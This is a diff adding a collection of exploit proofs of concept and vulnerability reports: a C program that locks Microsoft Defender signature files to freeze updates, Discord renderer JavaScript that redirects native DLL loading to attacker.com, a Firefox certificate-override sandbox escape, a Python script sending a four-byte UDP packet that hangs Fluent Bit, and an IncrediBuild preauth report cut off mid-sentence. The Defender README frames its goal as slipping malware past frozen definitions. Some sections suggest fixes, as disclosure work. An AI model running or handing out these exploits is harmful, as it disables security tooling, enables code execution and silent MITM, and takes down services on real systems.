--- /dev/null +++ b/defender-signature-lock-bypass/README.md @@ -0,0 +1,66 @@ +# CVE-2026-45498 Patch Bypass — FILE_SHARE_READ still freezes Defender + +Patch for CVE-2026-45498 (UnDefend by @ChaoticEclipse0) killed byte-range locks but left the DACLs wide open. Standard user can open sig files with `FILE_SHARE_READ` and block Defender from writing updates. Detection baseline stays frozen as long as you hold the handles. + +## Tested on + +- Platform **4.18.26050.15** (patch shipped in 4.18.26040.7 — this is two versions ahead) +- Engine **1.1.26050.11** +- Windows 11 25H2 + +17 files lockable across Definition Updates, Platform, and Program Files\Windows Defender. + +## Build + run + +``` +cl /O2 poc.c +poc.exe scans all 3 dirs, locks briefly, releases +poc.exe --hold keeps locks until you hit enter +``` + +Output on a fully patched box: +``` +CVE-2026-45498 patch bypass - FILE_SHARE_READ lock + +[*] C:\ProgramData\Microsoft\Windows Defender\Definition Updates + [+] mpengine_etw.dll 18.0 MB + [+] mpasbase.vdm 133.5 MB + [+] mpasdlta.vdm 2.3 MB + [+] mpavbase.vdm 58.9 MB + [+] mpavdlta.vdm 2.0 MB + [+] mpengine.dll 18.0 MB +[*] C:\ProgramData\Microsoft\Windows Defender\Platform + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.7 MB + [+] MpDefenderCoreService.exe 2.0 MB + [+] MpClient.dll 1.4 MB + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.8 MB + [+] MpDefenderCoreService.exe 2.1 MB + [+] MpClient.dll 1.4 MB +[*] C:\Program Files\Windows Defender + [+] DefenderCSP.dll 0.5 MB + [+] MpClient.dll 1.7 MB + [+] MpDefenderCoreService.exe 1.9 MB + +[*] 17 files locked, Defender can't write updates +[*] released +``` + +## What happened + +The original UnDefend used `LockFileEx` to byte-range lock `.vdm` files. Microsoft patched that specific call. But the reason it worked in the first place — standard users have read access to Defender's signature files — was never addressed. So just opening them with `CreateFileW` and `FILE_SHARE_READ` (no write sharing) blocks `MpSigStub.exe` from updating them. `ERROR_SHARING_VIOLATION`. + +| | UnDefend (original) | This bypass | +| --- | --- | --- | +| Method | `LockFileEx` byte-range locks | `CreateFileW` + `FILE_SHARE_READ` | +| Complexity | ~450 lines, multiple lock types | one API call per file | +| Patched | yes | no | + +## Impact + +Freeze sigs at a known baseline, drop malware that newer defs would catch. Standard user, no admin. Trivially persistent via scheduled task. + +## Fix + +Tighten DACLs on the sig files. Standard users don't need direct read access to `.vdm` databases or platform binaries. diff --git a/defender-signature-lock-bypass/poc.c b/defender-signature-lock-bypass/poc.c new file mode 100644 index 0000000..7d011cc --- /dev/null +++ b/defender-signature-lock-bypass/poc.c @@ -0,0 +1,105 @@ +/* + * poc.c — CVE-2026-45498 (UnDefend) patch bypass + * + * Patch killed byte-range locks, didn't touch the DACLs. + * FILE_SHARE_READ on the sig files still blocks writes. + * + * build: cl /O2 poc.c + * run: poc.exe [--hold] + */ + +#include +#include +#include + +#pragma comment(lib, "shlwapi.lib") + +#define MAX_LOCKS 128 + +static int scan_and_lock(const char *base, HANDLE *out, int max) +{ + int n = 0; + char pattern[MAX_PATH], path[MAX_PATH]; + WIN32_FIND_DATAA fd; + + _snprintf(pattern, sizeof(pattern), "%s\\*", base); + HANDLE hf = FindFirstFileA(pattern, &fd); + if (hf == INVALID_HANDLE_VALUE) return 0; + + do { + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { + if (fd.cFileName[0] != '.') { + _snprintf(path, sizeof(path), "%s\\%s", base, fd.cFileName); + n += scan_and_lock(path, out + n, max - n); + } + continue; + } + + char *ext = PathFindExtensionA(fd.cFileName); + int want = 0; + if (_stricmp(ext, ".vdm") == 0) want = 1; + if (_strnicmp(fd.cFileName, "mpengine", 8) == 0) want = 1; + if (_strnicmp(fd.cFileName, "mpclient", 8) == 0) want = 1; + if (_stricmp(fd.cFileName, "MpDefenderCoreService.exe") == 0) want = 1; + if (_stricmp(fd.cFileName, "DefenderCSP.dll") == 0) want = 1; + + if (want && n < max) { + _snprintf(path, sizeof(path), "%s\\%s", base, fd.cFileName); + HANDLE h = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (h != INVALID_HANDLE_VALUE) { + LARGE_INTEGER sz; + GetFileSizeEx(h, &sz); + printf(" [+] %-40s %.1f MB\n", fd.cFileName, + sz.QuadPart / 1048576.0); + out[n++] = h; + } + } + } while (FindNextFileA(hf, &fd) && n < max); + + FindClose(hf); + return n; +} + +int main(int argc, char **argv) +{ + int hold = argc > 1 && strcmp(argv[1], "--hold") == 0; + char buf[MAX_PATH]; + HANDLE locks[MAX_LOCKS]; + int total = 0; + + printf("CVE-2026-45498 patch bypass - FILE_SHARE_READ lock\n\n"); + + const char *dirs[] = { + "%s\\Microsoft\\Windows Defender\\Definition Updates", + "%s\\Microsoft\\Windows Defender\\Platform", + }; + const char *pdata = getenv("ProgramData"); + + for (int i = 0; i < 2; i++) { + _snprintf(buf, sizeof(buf), dirs[i], pdata); + printf("[*] %s\n", buf); + total += scan_and_lock(buf, locks + total, MAX_LOCKS - total); + } + + _snprintf(buf, sizeof(buf), "%s\\Windows Defender", getenv("ProgramFiles")); + printf("[*] %s\n", buf); + total += scan_and_lock(buf, locks + total, MAX_LOCKS - total); + + printf("\n[*] %d files locked, Defender can't write updates\n", total); + + if (!total) { + printf("[-] nothing lockable?\n"); + return 1; + } + + if (hold) { + printf("[*] holding locks, press enter to release\n"); + getchar(); + } + + for (int i = 0; i < total; i++) + CloseHandle(locks[i]); + printf("[*] released\n"); + return 0; +} diff --git a/discord/discord-RCE-attack-paths.md b/discord/discord-RCE-attack-paths.md new file mode 100644 index 0000000..9a67d6d --- /dev/null +++ b/discord/discord-RCE-attack-paths.md @@ -0,0 +1,134 @@ +# Discord Desktop Canary — Security Vulnerability Report + +## Summary + +Multiple high-severity vulnerabilities in Discord Desktop (Canary v1.0.979, Electron 37.6.0) allow escalation from renderer-context JavaScript execution to arbitrary code execution on the host system. The renderer exposes overly-permissive native module APIs through `DiscordNative` that enable DLL hijacking, arbitrary settings manipulation, and system service installation — all without any additional authorization checks. + +While these primitives require JavaScript execution in the renderer, the attack surface is wide: any browser extension with content script access to Discord (BetterDiscord, Vencord, and similar mods used by millions), any future XSS in Discord or its whitelisted embed providers, or social engineering via DevTools can trigger the full chain. + +--- + +## Vulnerability 1: Native Module Path Hijacking → RCE (HIGH) + +**Impact: Remote Code Execution via DLL hijacking** + +### Description + +Discord's `discord_voice` native module exposes several path-setting functions to the renderer via `DiscordNative.nativeModules.requireModule('discord_voice')`. These functions allow **unrestricted redirection** of where Discord loads native libraries from: + +- `setKrispPath(path)` — Controls where the Krisp noise cancellation DLL is loaded from +- `setupKrispPath(path)` — Same +- `setMLPath(path)` — Controls where ML model libraries are loaded from +- `setupMLPath(path)` — Same +- `setClipsModulePath(path)` — Controls where the clips processing module is loaded from +- `setClipsDataPath(path)` — Controls where clips are saved to + +### Proof of Concept + +From any JavaScript running in Discord's renderer context: + +```javascript +let dv = await DiscordNative.nativeModules.requireModule('discord_voice'); + +// Redirect Krisp DLL loading to attacker-controlled SMB share +dv.setKrispPath('\\\\attacker.com\\share'); + +// Or redirect to a local attacker-controlled directory +dv.setKrispPath('C:\\Users\\victim\\Downloads\\evil'); + +// When user enables noise cancellation → DLL loads from attacker path → RCE +``` + +All calls succeed silently with no validation, no user prompt, and no path restrictions. + +### Impact + +When the user subsequently enables noise cancellation (Krisp), uses ML-based features, or records a clip, Discord loads native code from the attacker-controlled path. This achieves **arbitrary code execution** at the privilege level of the Discord process. + +--- + +## Vulnerability 2: Settings Whitelist Bypass via gpuSettings.setSetting (HIGH) + +### Description + +Discord exposes two APIs for writing settings: +- `DiscordNative.settings.set(key, value)` — Has a whitelist of allowed keys ✅ +- `DiscordNative.gpuSettings.setSetting(key, value)` — **No whitelist, writes ANY key** ❌ + +### Proof of Concept + +```javascript +// Bypass settings whitelist — write to any key in settings.json +DiscordNative.gpuSettings.setSetting("WEBAPP_ENDPOINT", "https://attacker.com"); +DiscordNative.gpuSettings.setSetting("SKIP_HOST_UPDATE", true); +DiscordNative.gpuSettings.setSetting("DANGEROUS_ENABLE_DEVTOOLS_ONLY_ENABLE_IF_YOU_KNOW_WHAT_YOURE_DOING", true); + +// Force restart to apply +DiscordNative.gpuSettings.setEnableHardwareAcceleration(false); // triggers relaunch +``` + +### Impact + +- **WEBAPP_ENDPOINT override**: On next launch, Discord loads the attacker's webpage as its main interface, with full `DiscordNative` access → persistent RCE +- **UPDATE_ENDPOINT override**: Next update fetches from attacker server → malicious update → RCE +- **DevTools enable**: Enables Chrome DevTools for further exploitation +- **Update bypass**: `SKIP_HOST_UPDATE` + `SKIP_MODULE_UPDATE` prevent security patches + +--- + +## Vulnerability 3: Unsafe Embed Iframe Sandbox Configuration (MEDIUM) + +### Description + +Discord renders embeds from whitelisted providers (Spotify, YouTube, TikTok, PlayStation) in iframes with an overly-permissive sandbox: + +``` +allow-forms allow-modals allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts +``` + +The `allow-popups-to-escape-sandbox` directive means any popup opened from the embed iframe has **no sandbox restrictions at all**. Combined with `allow-same-origin` and `allow-scripts`, an XSS in any whitelisted embed provider could escape the sandbox entirely. + +### Impact + +An XSS in Spotify, YouTube, TikTok, or any other whitelisted embed provider → popup escape → potential access to Discord's main window context. This turns a third-party XSS into a Discord compromise. + +--- + +## Vulnerability 4: System Service Installation from Renderer (MEDIUM) + +### Description + +`discord_utils.installSystemService()` is accessible from the renderer with no additional authentication: + +```javascript +let du = await DiscordNative.nativeModules.requireModule('discord_utils'); +du.canSystemServiceBeInstalled(); // returns true +du.installSystemService(); // installs a system service +``` + +### Impact + +A system service runs with elevated privileges and persists across reboots. Combined with the path hijacking vulnerabilities, an attacker could install a persistent backdoor. + +--- + +## Environment + +- Discord Canary v1.0.979 +- Electron 37.6.0 +- Chromium 138.0.7204.251 +- Windows 10/11 x64 +- All tests performed on 2026-06-05 + +## Attack Scenarios + +### Scenario 1: Malicious Browser Extension +Millions of Discord users use client modifications (BetterDiscord, Vencord, Replugged) that inject JavaScript into the renderer. A malicious plugin — or a supply chain attack on a popular plugin — could silently call any of the above APIs. + +### Scenario 2: Third-Party Embed XSS Chain +An XSS on any whitelisted embed provider (Spotify, YouTube, etc.) → sandbox escape via `allow-popups-to-escape-sandbox` → access to Discord window → call DiscordNative APIs → RCE. + +### Scenario 3: Social Engineering +Tricking a user into pasting JavaScript into DevTools (if enabled via Vuln 2) or running a bookmark-let. + +--- diff --git a/firefox-cert-override-sandbox-escape-poc/README.md b/firefox-cert-override-sandbox-escape-poc/README.md new file mode 100644 index 0000000..892d72d --- /dev/null +++ b/firefox-cert-override-sandbox-escape-poc/README.md @@ -0,0 +1,128 @@ +# Firefox IPC Sandbox Escape: Unvalidated Certificate Override Registration + +A compromised content (renderer) process can register TLS certificate overrides for arbitrary hostnames by sending a crafted `AddCertException` IPC message to the privileged parent process. The parent-side handler performs zero validation on the hostname, certificate, or calling process. This allows a sandbox-escaped attacker to silently pre-authorize MITM attacks against any non-HSTS-preloaded website. + +Default Firefox. No flags, no extensions. + +## Target + +| Field | Value | +| --- | --- | +| Product | Firefox (stock, all platforms) | +| Component | `dom/ipc/ContentParent.cpp`, `PContent.ipdl`, `nsCertOverrideService.cpp` | +| Severity | sec-high (sandbox escape enabling silent MITM) | +| Prereq | Renderer RCE (content process compromise) + network MITM position | + +## Root Cause + +`ContentParent::RecvAddCertException` at `dom/ipc/ContentParent.cpp:6469` directly forwards every parameter from the content process to `nsICertOverrideService::RememberValidityOverride()`: + +```cpp +mozilla::ipc::IPCResult ContentParent::RecvAddCertException( + nsIX509Cert* aCert, const nsACString& aHostName, int32_t aPort, + const OriginAttributes& aOriginAttributes, bool aIsTemporary, + AddCertExceptionResolver&& aResolver) { + nsCOMPtr overrideService = + do_GetService(NS_CERTOVERRIDE_CONTRACTID); + if (!overrideService) { + aResolver(NS_ERROR_FAILURE); + return IPC_OK(); + } + nsresult rv = overrideService->RememberValidityOverride( + aHostName, aPort, aOriginAttributes, aCert, aIsTemporary); + aResolver(rv); + return IPC_OK(); +} +``` + +No `ValidatePrincipal()` call. No check that `aHostName` belongs to the content process's origin. No check that `aCert` was the actual server cert from a failed TLS connection. No process-type or remote-type restriction. + +The IPC definition in `PContent.ipdl:1612` is a plain `async child -> parent` with no annotations: + +``` +async AddCertException(nullable nsIX509Cert aCert, nsCString aHostName, + int32_t aPort, OriginAttributes aOriginAttributes, + bool aIsTemporary) + returns (nsresult success); +``` + +Any content process can send it. + +## Source Trace + +| File | Behavior | +| --- | --- | +| `dom/ipc/ContentParent.cpp:6469` | `RecvAddCertException` — blindly forwards all params to `RememberValidityOverride` | +| `dom/ipc/PContent.ipdl:1612` | IPC definition — no annotations, any content process can send | +| `security/manager/ssl/nsCertOverrideService.cpp:383` | `RememberValidityOverride` — validates only hostname non-empty + ASCII, cert non-null | +| `security/manager/ssl/SSLServerCertVerification.cpp:660-712` | `DetermineCertOverrideErrors` — checks HSTS, then `HasMatchingOverride` → suppresses cert error if fingerprint matches | +| `security/manager/ssl/nsCertOverrideService.cpp:429` | `HasMatchingOverride` — looks up by hostname+port, compares SHA256 fingerprints | + +### Contrast with the legitimate caller + +`Document::AddCertException` at `dom/base/Document.cpp:1592` derives the hostname from `NS_GetFinalChannelURI(mFailedChannel)` and the cert from `tsi->GetServerCert()` — both constrained to the actual failed TLS connection. The content-side code is correct, but the parent-side handler trusts arbitrary values. + +## Attack Chain + +``` +Compromised content process + -> SendAddCertException(mitm_cert, "bank.com", 443, attrs, false) + -> Parent: RecvAddCertException (no validation) + -> nsCertOverrideService::RememberValidityOverride stores fingerprint + -> Write() persists to cert_override.txt + +[Later, user visits bank.com with attacker in MITM position] + + -> SSLServerCertVerification: cert error detected + -> OverrideAllowedForHost: bank.com not HSTS-preloaded -> allowed + -> HasMatchingOverride: stored fingerprint == presented cert -> match + -> return 0 -> CERT ERROR SUPPRESSED -> no warning -> silent MITM +``` + +1. Attacker achieves renderer RCE (JIT bug, memory corruption, etc.) +2. Compromised content process generates or loads a self-signed certificate for the target domain +3. Sends `SendAddCertException(attacker_cert, "bank.com", 443, default_attrs, false)` +4. Parent process stores the override — fingerprint written to `cert_override.txt` on disk (survives restarts) +5. When user later visits `bank.com` with attacker in MITM position: attacker presents the same self-signed cert, fingerprint matches stored override, cert error is silently suppressed. No warning shown. + +### Why fingerprint matching is not a barrier + +The attacker controls both the cert passed to `SendAddCertException()` (determines stored fingerprint) and the cert presented during MITM. Same cert = same fingerprint = match. + +### HSTS limitation + +`OverrideAllowedForHost()` checks HSTS preload and static pinning before checking overrides. HSTS-preloaded sites (google.com, facebook.com) are protected. But the vast majority of HTTPS websites, including banking, corporate, and healthcare portals, are not in the preload list. + +### Persistence + +- `aIsTemporary=true`: override persists in memory until browser restart +- `aIsTemporary=false`: written to `cert_override.txt` on disk — survives browser restarts + +## Validation + +Each step verified through source analysis: + +| Step | Status | Evidence | +| --- | --- | --- | +| IPC message delivery | CONFIRMED | `PContent.ipdl:1612` — no annotations, any content process can send | +| Parent handler accepts arbitrary data | CONFIRMED | `ContentParent.cpp:6469` — no `ValidatePrincipal`, no hostname check | +| Override storage | CONFIRMED | `nsCertOverrideService.cpp:383` — validates only non-empty ASCII hostname | +| Override honored during TLS | CONFIRMED | `SSLServerCertVerification.cpp:702-708` — fingerprint match -> return 0 -> no warning | + +## Additional Finding: ValidatePrincipal Log-and-Continue + +Multiple other handlers in `ContentParent.cpp` call `ValidatePrincipal()` but only log on failure. In release builds, `MOZ_ASSERT(false)` is stripped, so execution continues. Affected handlers include `RecvStoreAndBroadcastBlobURLRegistration` (accepts system principal), `RecvStoreUserInteractionAsPermission`, `RecvAutomaticStorageAccessPermissionCanBeGranted`, and `RecvConstructPopupBrowser`. + +## Related + +- **CVE-2017-5456** (Bug 1344415) — same pattern: `PFileSystemRequestConstructor` IPC handler trusted content process without validation + +## Fix Direction + +The safest fix is removing the IPC message entirely. Cert error pages (`about:certerror`) run with chrome privileges and can call `nsICertOverrideService` directly without crossing the sandbox boundary. + +Short of that: validate hostname against the content process's registered domains, or have the parent look up the failed channel and derive host and cert itself instead of trusting content-supplied values. + +## Responsible Use + +Only use this against systems you own or have explicit permission to test. diff --git a/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md b/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md new file mode 100644 index 0000000..c298219 --- /dev/null +++ b/fluentbit-infinite-dos/fluentbit-unauth-dos-loop.md @@ -0,0 +1,274 @@ +# Fluent Bit ≤ main@29deec9: in_collectd Infinite Loop DoS + OOB Heap Read via Zero-Length Part + +## Summary + +Fluent Bit's collectd binary protocol parser (`plugins/in_collectd/netprot.c`) contains two related vulnerabilities triggered by a single 4-byte UDP packet: + +1. **Infinite loop DoS** — when the `part_len` field in a collectd binary protocol part header is `0`, the main parsing loop `while (len >= 4)` never terminates. `len -= part_len` and `buf += part_len` both become no-ops, permanently hanging the collectd input thread. Any external host that can reach the collectd UDP port can freeze Fluent Bit's data ingestion from all collectd sources with a single 4-byte packet. + +2. **8-byte heap OOB read** — when `part_len=0` and `part_type=PART_TIME` (or `PART_TIME_HR`, `PART_INTERVAL`, `PART_INTERVAL_HR`), a secondary guard intended to catch truncated time fields fails silently due to a signed/unsigned integer comparison bug (`int size = -4` compared against `size_t 8` — the negative int wraps to a huge unsigned value, making the check `false`). The parser then calls `be64read(buf + 4)` — reading 8 bytes starting 4 bytes past the end of a 4-byte packet — leaking adjacent heap memory. + +--- + +## Target + +| Field | Value | +|---|---| +| **Project** | Fluent Bit (https://github.com/fluent/fluent-bit) | +| **Version / commit** | main @ `29deec9e72a5e1ccc9996a58481bc7ba4d60353d` (2026-04-20); all prior versions with in_collectd | +| **File** | `plugins/in_collectd/netprot.c` | +| **Function** | `netprot_to_msgpack()` — line 237 | +| **Affected configurations** | Any Fluent Bit deployment with `[INPUT] Name collectd` (UDP port 25826 by default) | + +--- + +## Vulnerability Class + +1. **Infinite loop denial of service** — missing lower-bound check on a network-supplied length field +2. **Heap out-of-bounds read** — signed/unsigned comparison suppresses a truncation guard, then `be64read` reads past the allocated UDP packet buffer + +--- + +## Root Cause + +### Bug 1 — Infinite Loop (part_len = 0) + +```c +// plugins/in_collectd/netprot.c:237 +int netprot_to_msgpack(char *buf, int len, ...) +{ + uint16_t part_type; + uint16_t part_len; + int size; + char *ptr; + + while (len >= 4) { // [1] loop exits only when len < 4 + part_type = be16read(buf); + part_len = be16read((unsigned char *) buf + 2); + + if (len < part_len) { // [2] if part_len=0: 4 < 0u → FALSE + flb_error("[in_collectd] data truncated (%i < %i)", len, part_len); + return -1; + } + + ptr = buf + 4; + size = part_len - 4; // [3] size = 0 - 4 = -4 (signed int) + + // ... switch on part_type ... + + len -= part_len; // [4] len -= 0 → len unchanged + buf += part_len; // [5] buf += 0 → buf unchanged + } // → back to [1]: same state → infinite loop + return 0; +} +``` + +The guard at `[2]` uses `int len` vs `uint16_t part_len`. Both values are non-negative and `uint16_t` promotes to `int`, so the comparison is `int < int`. When `part_len=0`, the check is `4 < 0` = false — the guard does not fire. Lines `[4]` and `[5]` are no-ops, and the loop condition at `[1]` is permanently satisfied. + +The thread spins at 100% CPU until the Fluent Bit process is killed or restarted. + +### Bug 2 — OOB Heap Read (part_len = 0, part_type = PART_TIME) + +```c +// line 258 +if ((part_type == PART_TIME || + part_type == PART_TIME_HR || + part_type == PART_INTERVAL || + part_type == PART_INTERVAL_HR) && + size < sizeof(uint64_t)) { // [6] BUG: signed/unsigned comparison + flb_error("[in_collectd] data truncated (%i < %zu)", size, sizeof(uint64_t)); + return -1; +} + +// line 275 +case PART_TIME: + hdr.time = (double) be64read(ptr); // [7] be64read(buf+4) — OOB if packet is 4 bytes + break; +``` + +At `[6]`: `size` is `int` and `sizeof(uint64_t)` is `size_t` (unsigned). When `size = -4`, the C integer promotion rules convert the `int` to `size_t`: `(size_t)(-4)` = `0xFFFFFFFC` (32-bit) or `0xFFFFFFFFFFFFFFFC` (64-bit) — a huge positive value. The comparison `huge < 8` is `false`. The guard intended to catch truncated time fields does not fire. + +At `[7]`: `ptr = buf + 4`. For a 4-byte UDP packet, `buf + 4` points one byte past the end of the allocated packet buffer. `be64read` reads 8 bytes starting there — leaking 8 bytes of adjacent heap memory. + +**Verification:** +```python +>>> import ctypes +>>> size = ctypes.c_int(-4).value # int -4 +>>> ctypes.c_ulong(size).value # promoted to size_t +4294967292 +>>> 4294967292 < 8 # the guard check +False +# Guard does not fire → be64read called with out-of-bounds ptr +``` + +--- + +## Attacker Model + +| Property | Value | +|---|---| +| **Privileges required** | None — unauthenticated UDP | +| **Network position** | Any host that can reach the collectd UDP port (default 25826) | +| **User interaction** | None | +| **Precondition** | `[INPUT] Name collectd` configured in Fluent Bit | + +The collectd input plugin listens on a raw UDP socket. There is no authentication, session state, or rate limiting in the parsing path. A single 4-byte packet is sufficient to trigger the infinite loop. + +--- + +## Full Attack Chain + +``` +[Attacker — any host] + | + | 1. Send 4-byte UDP packet to Fluent Bit collectd port (default 25826): + | bytes: \x00\x00\x00\x00 + | part_type = 0x0000 (PART_HOST) + | part_len = 0x0000 → infinite loop trigger + | + v +[Fluent Bit in_collectd input thread] + | + | 2. netprot_to_msgpack() called with buf=[4 bytes], len=4 + | Loop: len(4) >= 4 → enter + | part_type=0, part_len=0 + | Guard: 4 < 0 → FALSE → no exit + | len -= 0 → len=4 (unchanged) + | buf += 0 → buf unchanged + | → Loop repeats forever + | + v +[in_collectd input thread spins at 100% CPU indefinitely] +[All subsequent collectd events are blocked — no new data ingested] +[Fluent Bit process must be restarted to recover] + +For OOB read variant: + | + | 1. Send \x00\x01\x00\x00 (part_type=PART_TIME=0x0001, part_len=0) + | + v +[be64read(buf+4) reads 8 bytes past end of 4-byte packet] +[8 bytes of adjacent heap memory leaked into hdr.time] +[Then infinite loop begins] +``` + +--- + +## Proof of Concept + +### poc_fluent_bit_collectd_dos.py + +```python +#!/usr/bin/env python3 +""" +poc_fluent_bit_collectd_dos.py +Fluent Bit in_collectd Infinite Loop DoS + +Root cause: + netprot_to_msgpack() in plugins/in_collectd/netprot.c: + - part_len=0 → len -= 0, buf += 0 → infinite loop + - Guard (len < part_len) does not fire: 4 < 0u → false + +Trigger: + Send a 4-byte UDP packet with part_len=0 to the collectd port. + A single packet permanently hangs the Fluent Bit collectd input thread. + +Usage: + python3 poc_fluent_bit_collectd_dos.py [--host 127.0.0.1] [--port 25826] + +Expected result: + Fluent Bit collectd input thread spins at 100% CPU. + No further collectd events are processed until Fluent Bit is restarted. +""" + +import socket +import sys +import argparse +import struct + +DEFAULT_HOST = "127.0.0.1" +DEFAULT_PORT = 25826 + + +def build_infinite_loop_packet(): + """ + Minimal collectd binary protocol packet that triggers the infinite loop. + Format: [part_type: uint16_be][part_len: uint16_be] + part_type = 0x0000 (PART_HOST) — any valid type works + part_len = 0x0000 — triggers len-=0, buf+=0 infinite loop + """ + return struct.pack(">HH", 0x0000, 0x0000) + + +def build_oob_read_packet(): + """ + OOB read variant: part_type=PART_TIME (0x0001), part_len=0. + Causes be64read(buf+4) on a 4-byte packet before the infinite loop. + Leaks 8 bytes of adjacent heap memory into hdr.time. + """ + return struct.pack(">HH", 0x0001, 0x0000) + + +def main(): + parser = argparse.ArgumentParser( + description="Fluent Bit in_collectd infinite loop DoS PoC" + ) + parser.add_argument("--host", default=DEFAULT_HOST) + parser.add_argument("--port", type=int, default=DEFAULT_PORT) + parser.add_argument( + "--variant", + choices=["dos", "oob"], + default="dos", + help="dos: infinite loop only; oob: OOB heap read + infinite loop", + ) + args = parser.parse_args() + + if args.variant == "dos": + pkt = build_infinite_loop_packet() + label = "infinite loop DoS (part_type=PART_HOST, part_len=0)" + else: + pkt = build_oob_read_packet() + label = "OOB heap read + infinite loop (part_type=PART_TIME, part_len=0)" + + print(f"[*] Fluent Bit in_collectd — {label}") + print(f"[*] Target: {args.host}:{args.port}/UDP") + print(f"[*] Packet ({len(pkt)} bytes): {pkt.hex()}") + + assert len(pkt) == 4, "packet must be exactly 4 bytes" + + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.sendto(pkt, (args.host, args.port)) + sock.close() + + print("[+] Packet sent.") + print("[+] Verify:") + print(" top -p $(pgrep fluent-bit) # expect 100% CPU on collectd input thread") + print(" fluent-bit log should show no new collectd events arriving") + print(" kill -9 $(pgrep fluent-bit) # only way to recover") + + +if __name__ == "__main__": + main() +``` + +### Expected output in Fluent Bit: + +The collectd input thread enters an infinite loop. CPU usage for the Fluent Bit process rises to near-100% on one core. No new collectd events are processed. The Fluent Bit process must be killed and restarted to recover. No crash log or error message is produced — the process appears "alive" but is deadlocked in the parsing loop. + +--- + +## Impact + +1. **Reliable, permanent DoS of collectd data ingestion** — a single 4-byte UDP packet hangs the collectd input thread. Because Fluent Bit is single-threaded per input plugin, all collectd data forwarding stops. + +2. **No authentication or rate limiting** — the collectd port accepts unauthenticated UDP packets. Any host on the network (or internet, if the port is exposed) can trigger the hang. + +3. **Silent failure** — Fluent Bit does not detect the hang. No error is logged, no alert is raised. Operators may not notice for an extended period, depending on monitoring. + +4. **Heap OOB read (secondary)** — the `PART_TIME` variant leaks 8 bytes of adjacent heap memory into `hdr.time`. In practice this is difficult to weaponize (double cast of heap data) but may contribute to a more complex chain. + +**CVSS 3.1 (DoS):** `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` → **7.5 (High)** + +(No authentication required, single packet, complete availability loss for the plugin) + +--- diff --git a/incredibuild-grpc-preauth-poc/LicenseGRPCService.proto b/incredibuild-grpc-preauth-poc/LicenseGRPCService.proto new file mode 100644 index 0000000..b8d4347 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/LicenseGRPCService.proto @@ -0,0 +1,76 @@ +syntax = "proto3"; + +package LicenseGRPCService; + +message Void {} + +message ActivateLicenseRequest { + string licenseKey = 1; +} + +message LoadOfflineLicenseRequest { + string offlineLicensePath = 1; +} + +message RegisterCoordinatorRequest { + string coordinatorId = 1; +} + +message LicenseInfoRequest { + string coordinatorId = 1; +} + +message AgentInfo { + string coordinatorId = 1; + string agentName = 2; + string machineId = 3; +} + +message RegisterAgentRequest { + AgentInfo Agent = 1; + RegistrationType initiatorRegType = 2; + RegistrationType ciInitiatorRegType = 3; + RegistrationType helperRegType = 4; + int32 numOfCores = 5; + bool Online = 6; + + enum RegistrationType { + None = 0; + Floating = 1; + Fixed = 2; + } +} + +message RegisterBuildAvoidanceRequest { + AgentInfo Agent = 1; + bool Enable = 2; +} + +message JsonResponse { + string JsonString = 1; +} + +message BooleanResponse { + bool Result = 1; + string ErrorMessage = 2; +} + +message GetLicenseInfoRequest {} +message GetMonthlyUsageRequest {} +message GetActiveUsageRequest {} +message GetMonthlyUsagePerUserRequest {} + +service LicenseGRPCServiceApi { + rpc activateLicense(ActivateLicenseRequest) returns (JsonResponse); + rpc activateOfflineLicense(ActivateLicenseRequest) returns (JsonResponse); + rpc loadOfflineLicense(LoadOfflineLicenseRequest) returns (JsonResponse); + rpc deactivateLicense(Void) returns (JsonResponse); + rpc deactivateOfflineLicense(Void) returns (JsonResponse); + rpc refreshLicense(Void) returns (JsonResponse); + rpc registerCoordinator(RegisterCoordinatorRequest) returns (BooleanResponse); + rpc getLicenseInfo(LicenseInfoRequest) returns (JsonResponse); + rpc registerAgent(RegisterAgentRequest) returns (JsonResponse); + rpc registerBuildAvoidance(RegisterBuildAvoidanceRequest) returns (JsonResponse); + rpc queryAgent(AgentInfo) returns (JsonResponse); + rpc shutdown(Void) returns (Void); +} diff --git a/incredibuild-grpc-preauth-poc/README.md b/incredibuild-grpc-preauth-poc/README.md new file mode 100644 index 0000000..a0e48f3 --- /dev/null +++ b/incredibuild-grpc-preauth-poc/README.md @@ -0,0 +1,110 @@ +# IncrediBuild 10.1.11 LicenseService -- Preauth Attack Surface + +IncrediBuild ships a gRPC service (`LicenseService.exe`) on port 50052 that runs as SYSTEM with zero authentication. Every single RPC method is wide open. No TLS, no tokens, no nothing. It binds `0.0.0.0` by default so the entire network can talk to it. + +There's also a REST API (`RestService.exe`) on port 8000 with its own set of problems. The "encryption" is XOR with a hardcoded key. I'm serious. + +Tested on IncrediBuild 10.1.11 (build 5157), Windows. All findings are preauth and network-reachable. + +## Target + +- IncrediBuild 10.1.11 Build 5157 +- LicenseService on TCP 50052 (gRPC, plaintext, SYSTEM) +- RestService on TCP 8000 (HTTP, SYSTEM) +- Both bind 0.0.0.0, Windows Firewall rules set to Allow for all profiles + +## Findings + +### 1. NTLM Coercion via UNC Path (High -- CVSS 8.1) + +The `loadOfflineLicense` RPC takes a file path and just opens it. Feed it a UNC path like `\\attacker\share\license.dat` and the service connects out as SYSTEM, leaking the machine's NTLM hash. Classic relay-to-DA if you're on a domain. + +The service blocks for ~21 seconds on non-routable IPs (SMB timeout), which also confirms the coercion is happening even without a listener. + +See `ntlm_coerce.py`. + +### 2. File Existence Oracle (Medium) + +Same `loadOfflineLicense` RPC gives different error messages for files that exist vs files that don't. You get three distinguishable states: file exists (parse error), file doesn't exist (file not found), directory (different error). Free filesystem enumeration as SYSTEM. + +See `file_oracle.py`. + +### 3. Info Disclosure via activateOfflineLicense (Medium) + +`activateOfflineLicense` returns internal error details including filesystem paths and service internals in its JSON response. Not huge on its own but useful for chaining. + +### 4. Preauth Service Shutdown DoS (High -- CVSS 7.5) + +The `shutdown` RPC does exactly what you think. Anyone on the network can call it and the service just... stops. No restart, no recovery. One gRPC call and the build farm is down. + +### 5. Unauthorized Coordinator/Agent Registration (Medium) + +`registerCoordinator` and 